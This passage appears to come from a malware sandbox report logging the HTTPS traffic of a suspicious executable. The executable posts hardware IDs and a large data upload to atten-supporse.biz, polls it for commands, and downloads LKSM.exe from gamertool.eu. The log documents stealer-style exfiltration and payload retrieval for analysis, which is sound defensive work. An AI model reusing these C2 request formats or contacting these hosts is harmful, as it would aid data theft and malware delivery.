20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 43 68 Data Ascii: --PHSWT3AU2H4FCXW15YWContent-Disposition: form-data; name="hwid"F663419F2A517DE6D599DAF6C95D6029--PHSWT3AU2H4FCXW15YWContent-Disposition: form-data; name="pid"3--PHSWT3AU2H4FCXW15YWContent-Disposition: form-data; name="lid"H8NgCl--Ch
2024-12-08 17:06:26 UTC	5113	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-08 17:06:27 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2gs6ri0l1areh5sfkmnim8gktm; expires=Thu, 03-Apr-2025 10:53:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bRx%2Bl4dmFnBArRBP0N6G1nCH1wJhalNe4saXDVMXB%2BI3o1X9UajoA2Ojg05tg%2B2bZq5Sg3AE2wQFCogu8N%2BYvsliSu5ey6ZZHCxycxsjJEvL8NiZOu4vKeIIPyo8X7CcT30yCpI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58942df142cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2518&min_rtt=2512&rtt_var=955&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21409&delivery_rate=1137514&cwnd=162&unsent_bytes=0&cid=fe74e16cfa30223c&ts=891&x=0"
2024-12-08 17:06:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 17:06:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49819	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=50E65A1ZC8B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: atten-supporse.biz
2024-12-08 17:06:29 UTC	1216	OUT	Data Raw: 2d 2d 35 30 45 36 35 41 31 5a 43 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 35 30 45 36 35 41 31 5a 43 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 30 45 36 35 41 31 5a 43 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 0d 0a 2d 2d 35 30 45 36 35 41 31 5a 43 38 42 0d 0a 43 6f 6e Data Ascii: --50E65A1ZC8BContent-Disposition: form-data; name="hwid"F663419F2A517DE6D599DAF6C95D6029--50E65A1ZC8BContent-Disposition: form-data; name="pid"1--50E65A1ZC8BContent-Disposition: form-data; name="lid"H8NgCl--Chuvak--50E65A1ZC8BCon
2024-12-08 17:06:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ps3mud6ho5hj60j4k274b5sqm8; expires=Thu, 03-Apr-2025 10:53:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lg19Ks2hKTGsey7rJK5xChtJW95VzIfaakjf%2BpWs4qUm4v5t9PeJGn1TjHeefNYboFHh6ZWPn%2FujREumakiNorja2CcXahEioKAnlNIGn5He%2FEMr%2B%2B1mjbcizmljmBDj%2FNtshIM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58a51d898c39-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1783&rtt_var=679&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2128&delivery_rate=1599123&cwnd=190&unsent_bytes=0&cid=ca0bb1c1aa5e6adb&ts=755&x=0"
2024-12-08 17:06:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 17:06:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49826	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:31 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SCC5EPGZEJX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570532 Host: atten-supporse.biz
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 2d 2d 53 43 43 35 45 50 47 5a 45 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 53 43 43 35 45 50 47 5a 45 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 43 43 35 45 50 47 5a 45 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 0d 0a 2d 2d 53 43 43 35 45 50 47 5a 45 4a 58 0d 0a 43 6f 6e Data Ascii: --SCC5EPGZEJXContent-Disposition: form-data; name="hwid"F663419F2A517DE6D599DAF6C95D6029--SCC5EPGZEJXContent-Disposition: form-data; name="pid"1--SCC5EPGZEJXContent-Disposition: form-data; name="lid"H8NgCl--Chuvak--SCC5EPGZEJXCon
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 38 25 20 e5 cd 7f ff a9 45 c8 07 f0 bb 2a 56 98 4a ac 94 66 2c 01 24 3d 09 0b a6 3c 0e 7b 05 d8 66 0a e0 77 e1 b5 be c3 38 24 a3 b7 15 5e 63 0c 9d 97 a4 e1 77 93 5d 44 c0 19 75 2c 8c e3 62 d7 ac d1 a1 8a db 57 f7 73 dd b6 83 d4 20 c7 ff b7 4a 49 f3 01 ba fd ae e0 0e 1a d4 93 c9 3d 41 c0 6b 0b 07 0b d0 14 9c d3 c2 c2 4b cc d8 3d 69 a5 02 10 ef cf 05 a3 d4 63 0c de 82 a1 6d 9b 25 c4 38 24 d5 2b 0c 2e 25 a6 39 b8 e1 40 83 3c 2f c0 18 1d b3 3d c3 a1 04 92 53 81 a9 db f9 45 9a 34 bf cd cf c9 61 0f bf 18 31 45 3b a5 bc 1c b9 50 f4 88 71 fc ab c5 29 15 de b4 56 1c b5 c2 54 56 63 08 96 e9 29 42 6c 00 ef 47 51 31 a6 e0 02 86 45 49 d9 6a f0 77 91 e7 d4 3a 12 b9 a4 15 f9 2a fe 31 e3 f1 55 3b 09 2a 99 91 8e 85 25 96 35 67 de 2d 01 bf 3d 34 6d 74 a0 20 f8 d1 8f 66 6f Data Ascii: 8% EVJf,$=<{fw8$^cw]Du,bWs JI=AkK=icm%8$+.%9@</=SE4a1E;Pq)VTVc)BlGQ1EIjw:1U;*%5g-=4mt fo
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 2a 12 5e 2c 8c 68 56 d3 89 28 aa 44 48 de b2 32 92 c6 3e 8e b4 31 73 7a 35 9d d1 fe 6b 0d 9a 43 58 de 28 28 85 7d 51 6f 95 db 24 e0 c8 4d 85 b1 fc 89 88 16 8a 44 b0 97 04 ed d4 03 5c c7 0b 04 15 29 33 0c f6 4a 45 96 98 ae 65 3e 1a 36 15 a3 55 c6 a7 9f 55 ae 4b 86 08 10 f7 74 bf cb 6f a2 9b 4c c1 42 31 5a aa 0f f1 72 85 2f 34 66 3f 14 8a 8c ed 9e 34 04 3e 48 f4 9b 3a a5 08 c4 04 95 5c 53 8a d1 41 f7 0c 86 0b cd 7e 31 9a 1e ec 58 a7 97 58 ec ef 3c cf 94 44 87 0b f2 f6 d5 d3 ff 52 75 fd 1e 47 61 18 94 71 e6 e6 8c fc 56 df 1c b3 e4 0c 48 23 fc ce 57 e4 e6 ba 19 44 b8 d6 8e 50 ad ef 0f 90 f7 74 5d 8f a0 5c 39 c3 75 79 83 87 46 5f cd 4f 7d 17 bb 5c f9 57 d0 cf 16 8d cd 78 6f 17 c8 47 13 ce 3c 41 c6 dc c1 dc 7d b0 78 29 26 2b 4f ed 4e 3c 9b d4 7a 90 7c 81 d1 b0 Data Ascii: *^,hV(DH2>1sz5kCX((}Qo$MD\)3JEe>6UUKtoLB1Zr/4f?4>H:\SA~1XX<DRuGaqVH#WDPt]\9uyF_O}\WxoG<A}x)&+ON<z\|
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 5e dd 5b 34 51 75 68 a4 b8 41 fb e4 20 42 dc dd 3b 40 f5 85 2e a7 df 5b 86 14 7d f5 db 93 12 db a5 af f6 d4 8b 4b cf ae 86 01 db 18 d4 1c db ac 35 af 04 60 a8 bf ef 7e 3c f2 8a e9 d2 17 9c 81 3a d0 32 df bc ef d1 3a e1 6a b8 52 6a 8a b7 75 30 ca 7f 77 6d ea 2f 82 6e 8a a0 f8 8b d8 01 5f 70 c6 e6 bf a2 c9 d1 eb 1d 75 46 39 4b 13 cd 56 db 4b 45 1f 9d 78 c9 d1 f2 bb 4b 6a 3e 71 cd 76 ce 87 5f 2f bc f7 df cb 90 1d 16 bc 43 71 fb 80 ee 45 7e 7e c8 91 7e 40 f8 af 96 92 ba b9 c9 b9 48 75 0d 5d b2 fb 78 a3 37 6a 49 e4 26 da e3 9e 6b 92 50 52 83 9e a0 99 0b 18 6b 53 63 2a 75 7b 0b 82 6b 4b b0 f3 28 75 f3 b8 0c 9d 30 b8 e5 77 e7 e4 e7 6e 1c b3 a7 fd 68 49 da c2 23 ca de ee f6 8f 73 a9 95 3f 38 06 71 16 14 d9 ab cd 77 79 8a 17 cf d1 fc ca 5a fb c9 9f 76 cf f0 f4 5b Data Ascii: ^[4QuhA B;@.[}K5`~<:2:jRju0wm/n_puF9KVKExKj>qv_/CqE~~~@Hu]x7jI&kPRkSc*u{kK(u0wnhI#s?8qwyZv[
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: b7 94 19 d2 0f 89 d3 8b 99 bc 09 9b ea fb 73 71 70 f3 a0 8e 70 97 af d6 69 8e 8f 94 d1 78 9b 83 57 39 39 67 c1 6b 68 e4 85 ea 52 6d 72 55 59 12 3a f6 80 ea 88 05 c7 26 78 bf b3 8b bc d8 ee 9d 3d ad 4c b7 87 dc 66 cd ca bc 27 7f 8f 95 64 c0 ab 02 37 ab 33 5c 73 21 de 32 a2 17 61 30 c7 05 7f 98 31 b8 b9 17 21 04 8c 26 72 a1 3a 22 d0 7b 7d 86 8f 38 38 ae 66 b3 03 79 1e 4a 6f 88 fa 5f 99 b4 45 06 05 dc f6 9a 74 2a ba 8f 04 1f ee 65 36 f1 80 21 8a e3 a8 b5 aa 0b 46 78 e7 dd fb 4f 87 df 6b 9b fa 6b 49 3a dc 3f 22 69 73 4f e5 bd b2 39 29 dd 0f fd f7 01 ad 69 e1 64 c2 0a c4 f0 4f a4 f2 fd ff 5f c9 0d 49 50 3a c6 03 e7 81 c5 3f 03 97 64 16 df 08 31 aa ca 29 29 2d c8 62 f8 f3 62 c9 a3 22 1e 0e c2 79 aa fd 13 67 47 38 e1 bb 44 59 56 82 20 e2 cf f6 74 a0 a2 fd 0c 49 Data Ascii: sqppixW99gkhRmrUY:&x=Lf'd73\s!2a01!&r:"{}88fyJo_Et*e6!FxOkkI:?"isO9)idO_IP:?d1))-bb"ygG8DYV tI
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 14 a0 7b 7b 78 4d 7b c9 f6 56 62 85 70 83 20 a5 c9 8d ef e5 c4 d9 ce c9 a5 b5 21 1b b7 8a f9 75 66 11 72 4e 75 12 c2 4d e5 c8 0a 8b c6 cf cb 35 d8 6a f9 42 17 7b 42 81 dc b3 a8 42 52 a3 81 81 af c0 8f 83 2d 81 54 75 e5 56 6f ed da 04 28 de 7b db e7 59 9a 16 32 b0 60 fb d5 8e 5a 11 6b 19 46 00 62 57 ad 33 4a 39 5c 9f 63 db c5 31 a5 5f 08 03 82 6e 8c dd e3 eb b9 7f e4 ee d6 a4 53 bd 62 77 91 b3 47 5b b2 50 89 4a b4 a1 98 fd 78 df e5 8f 46 36 df f4 3d 0b 04 0d 35 9a c2 b6 f8 c2 4e b7 f1 15 e7 1b ce 3a c6 f6 56 6c 3f f8 11 64 f8 43 e8 9c b3 ec af ba c4 67 d0 ef 12 6c 6e 65 22 86 00 1e 0c 15 d0 5b db 06 e5 6d b9 3f 5c 21 e1 6c 44 ef 20 6e fd 16 bd e0 a8 ce e1 2d 7d dc 21 8e 3f 6a 62 eb 28 bd c8 cc 80 64 58 25 c9 88 de a7 a6 3e ab 27 8f 09 81 7d 7e 54 87 f4 4f Data Ascii: {{xM{Vbp !ufrNuM5jB{BBR-TuVo({Y2`ZkFbW3J9\c1_nSbwG[PJxF6=5N:Vl?dCglne"[m?\!lD n-}!?jb(dX%>'}~TO
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: ff 58 33 c1 e5 5c 20 43 c4 62 36 12 79 08 23 cb db 2c 6b 17 32 bd fe b3 9c 22 27 4a de d5 f5 9c 55 f2 ff b5 55 fc c4 c9 22 e0 eb 9d c3 79 71 55 1e 6f f6 b5 05 c6 e9 f6 7d 43 e2 dd b9 6f 55 59 c3 12 4d b0 0b a7 4a 90 91 82 20 0f 1d 58 5d 9a 91 94 c6 09 42 6e a0 ce 6d a6 20 75 37 1b 36 51 ee 70 ab ea a1 e8 8f 8b 80 b0 ea 1d 04 6e e1 64 66 33 27 38 50 25 ff db b2 57 36 3e 7a c9 80 6b 77 96 87 64 bd 4c fd eb 5f 1f 3f 42 fe d8 19 9f 0d 24 88 f7 de c0 2d e2 90 e5 b7 1c d3 dc e7 4a e2 ab f1 8a 56 b4 24 c6 fa cf 4c 7c e4 93 cd d0 14 44 f2 6d 16 66 73 dc 96 34 94 50 a0 8d 84 9b 0f 58 91 26 e8 ac dc 59 2d fd 36 1f cd fa 19 25 7a 13 0d 70 9b ab 3f d3 58 3e 43 08 fa b5 d1 a5 c7 39 f7 02 99 ec 00 e7 ea 1f d7 a2 1c 7a c1 62 8d 10 b8 ba 31 5a f2 b1 46 7a b4 52 a9 6f b3 Data Ascii: X3\ Cb6y#,k2"'JUU"yqUo}CoUYMJ X]Bnm u76Qpndf3'8P%W6>zkwdL_?B$-JV$L\|Dmfs4PX&Y-6%zp?X>C9zb1ZFzRo
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 90 52 0f 2b f1 03 6b 23 66 dd 1d 24 41 f7 1d ea 4f 22 21 44 0e 31 ef 44 3d 10 30 07 af 1b ce 5f 0b 85 09 cf 43 f4 f9 13 17 87 2a 1c 46 f3 d2 09 22 9a 0c 85 74 c5 d7 e4 04 4f 53 d8 b4 1e 2e 93 ea a2 72 df 4d db 5c 0c c3 c0 04 b2 33 df af f6 ff b6 a7 b5 e8 65 fe 48 d8 04 3c 07 e6 9e a3 60 d9 f9 33 e3 2f b0 30 1f 8e 77 51 1a db 39 3e 31 e7 ca b6 1f 88 34 20 6a a3 cc c4 fa 8a 6e d8 d7 ba 28 a5 cf 8d a7 98 5d 50 bc a4 94 61 30 a7 de e6 1a 6b 5f 43 94 0f d5 bb 24 18 4f e6 07 bc 02 eb b1 55 47 5d eb 3b cd 9a c6 f7 87 38 4a 05 20 31 ab 7c 45 bd f4 07 9e fe 24 ec f5 7d 8b de 50 32 b2 3b 35 ae a5 86 f7 44 34 d0 6c 3e 0d 7e 2b 5f d5 2f f1 e4 bc 28 7b 70 7c 58 a2 df 69 d3 f9 5f c4 13 4a e1 fe a9 fa ab 02 a4 40 8f 18 c6 b0 51 7e 4f 49 c0 35 af a5 cd 2f 89 78 52 ad a9 Data Ascii: R+k#f$AO"!D1D=0_C*F"tOS.rM\3eH<`3/0wQ9>14 jn(]Pa0k_C$OUG];8J 1\|E$}P2;5D4l>~+_/({p\|Xi_J@Q~OI5/xR
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 97 30 dd d7 4f fa f6 44 15 6a 5e 24 ee ef 01 f4 c1 4c 84 96 04 31 f3 65 41 d5 e5 fd 00 fe 97 17 44 1b 4c ba 57 e6 ac bd 4c 6c 21 6b 63 b9 0e a8 ef 9a 3c 02 db cd 1c 66 a4 c0 d5 dd a6 f2 10 29 1e 0e 42 96 09 67 58 ba 8f 26 c3 af c9 bc 18 bb 20 89 25 4e f1 75 fc 4a f0 5b 10 6e 25 20 22 dd fc 3c e6 1f a8 70 e7 f6 54 a8 77 3a 74 2c 41 96 d9 b8 4e 13 c1 ef 92 85 df 01 94 db 50 52 ec d6 c1 e7 21 44 fc 0d c6 c5 64 db d9 ee a2 61 3d b6 8c b0 90 1b f7 e0 b5 d1 02 e1 28 95 4e c0 9d 98 0b 3f 4a 80 b5 0c 7f cd 31 39 af 74 da 1a a2 25 44 85 20 e5 8d 40 1d aa 30 41 84 4e d8 77 a9 fe 01 c4 0f f1 f1 0b 4a 7c ab 39 f0 28 56 fe e9 27 70 a0 f7 6b 53 3e ca ac 21 58 82 f3 06 a4 3f 09 56 45 d0 82 5d 63 1a 5f 3c 19 54 77 c8 6f 0f e0 9b 4d ca 23 f3 f3 cd 6e d1 a3 c2 04 85 99 da Data Ascii: 0ODj^$L1eADLWLl!kc<f)BgX& %NuJ[n% "<pTw:t,ANPR!Dda=(N?J19t%D @0ANwJ\|9(V'pkS>!X?VE]c_<TwoM#n
2024-12-08 17:06:31 UTC	15331	OUT	Data Raw: 61 6d 69 e5 3a ad f1 72 e6 ef 27 e7 42 db f7 05 70 8e 9a ad 78 21 36 00 fb 68 8b 74 ff 7f 80 32 fb 5c eb 51 a1 31 48 37 67 6c e8 ed 7f ba 7d 1c 36 be 0b ea 16 64 f3 cf 55 df 3f 7c 4b 82 b0 dd 28 80 db 0b 91 f9 a1 8c 3d d1 43 b1 f9 46 76 28 18 0e b3 dd bd cd d2 9f b3 6e fd 0c ae 0f e1 e5 4e 61 d9 05 d9 47 f7 4b 33 6f 35 a8 d9 9c 46 d6 36 c6 7d 7f e9 9b e3 a5 00 f6 e0 39 01 91 55 8b 31 52 27 9d 7c b9 1f 9a 5d 1d 64 69 45 13 16 fc 64 71 ce e3 af e6 b7 01 7e 02 f1 d7 08 31 08 17 8c db fa f5 ec d2 68 92 08 c5 17 32 77 cc cf 40 c8 3c ac 17 dd 21 d8 94 a5 75 08 1c b6 4e af ad 31 5a 0d 4c 6b 42 9b 96 62 f8 e9 8d 3c 14 73 93 62 ee 79 96 b5 9e f4 e9 7a 1a 2f 98 dc 40 cf d8 81 a6 5f c2 1a 0b 94 d7 49 b5 b2 e9 8a f5 81 b2 22 63 3a 6f 94 13 c3 bd a5 98 cd 2a f3 de ae Data Ascii: ami:r'Bpx!6ht2\Q1H7gl}6dU?\|K(=CFv(nNaGK3o5F6}9U1R'\|]diEdq~1h2w@<!uN1ZLkBb<sbyz/@_I"c:o*
2024-12-08 17:06:33 UTC	1025	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tv28fhdfvnml30su6ul6gpa5lp; expires=Thu, 03-Apr-2025 10:53:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8wOojdaqKGETgyi%2Br6B3rtprG6H0KXY8iOXvctoV5BMdE7qBmu5kmQTK7GahigRXGWHidX6MpTI1n2axtp5Xwp28zlGpecEvt7Q6%2FRffRAmv%2FHn9cBmzCeixSnMMjN%2FWqfIpNAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58b40bbf0cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1501&rtt_var=572&sent=324&recv=594&lost=0&retrans=0&sent_bytes=2847&recv_bytes=573074&delivery_rate=1896103&cwnd=152&unsent_bytes=0&cid=fc26c7124514187a&ts=2294&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49834	172.67.165.166	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: atten-supporse.biz
2024-12-08 17:06:35 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 43 68 75 76 61 6b 26 6a 3d 26 68 77 69 64 3d 46 36 36 33 34 31 39 46 32 41 35 31 37 44 45 36 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 Data Ascii: act=get_message&ver=4.0&lid=H8NgCl--Chuvak&j=&hwid=F663419F2A517DE6D599DAF6C95D6029
2024-12-08 17:06:36 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q7bm663eqrbotqv04acvcc5bl9; expires=Thu, 03-Apr-2025 10:53:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JmitHAZq%2BOR10YLFjIlgEp6jSJARmd7QE7cP3IAS9v0VVXxT9Zp9uxQvNfR7lsuPLNXZCdmBENA6BNA8oKrnZakgqWOOu1E65NzkhF%2Bu31ZvE6YSiQNbE5ru6NfIe169jbkL1d4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58cb6d1d8c35-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1778&rtt_var=690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=985&delivery_rate=1559829&cwnd=242&unsent_bytes=0&cid=4a13851ff27325f6&ts=1095&x=0"
2024-12-08 17:06:36 UTC	122	IN	Data Raw: 37 34 0d 0a 43 39 71 6c 36 73 55 68 73 6c 43 33 45 35 70 52 72 65 4e 4f 77 63 5a 66 76 37 78 7a 34 6a 5a 43 72 7a 67 35 50 7a 4a 54 64 6a 78 51 6f 59 65 66 35 78 75 51 4f 4d 4e 6e 36 69 4b 58 76 32 47 64 36 54 6a 65 30 52 61 51 51 69 33 41 56 42 64 61 52 77 39 5a 63 45 43 4a 36 4d 53 67 57 64 64 79 6d 7a 48 38 4a 59 2f 5a 66 75 33 6b 4f 70 32 47 51 35 39 72 0d 0a Data Ascii: 74C9ql6sUhslC3E5pRreNOwcZfv7xz4jZCrzg5PzJTdjxQoYef5xuQOMNn6iKXv2Gd6Tje0RaQQi3AVBdaRw9ZcECJ6MSgWddymzH8JY/Zfu3kOp2GQ59r
2024-12-08 17:06:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49845	104.21.9.168	443	7872	C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 17:06:37 UTC	195	OUT	GET /LKSM.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: gamertool.eu
2024-12-08 17:06:38 UTC	932	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 17:06:38 GMT Content-Type: application/octet-stream Content-Length: 25600 Connection: close Last-Modified: Thu, 05 Dec 2024 14:31:36 GMT ETag: "6751b948-6400" X-Content-Type-Options: nosniff Cache-Control: max-age=120 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zBpxVc3LL24AWKuQpgZOMupKhwGpULLgWY7uVYDDfuhDMVCXdD8JNUtLxLdmsVUSLkSPBnIjNLM%2BFxZ%2F0pCwL3SYn1LMnAkx9KT2en2tJr3De80vt8wNFdgdhU7XcAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eee58dcb81e422e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1712&rtt_var=669&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=809&delivery_rate=1602634&cwnd=252&unsent_bytes=0&cid=d3062e71cb7e43ff&ts=737&x=0"
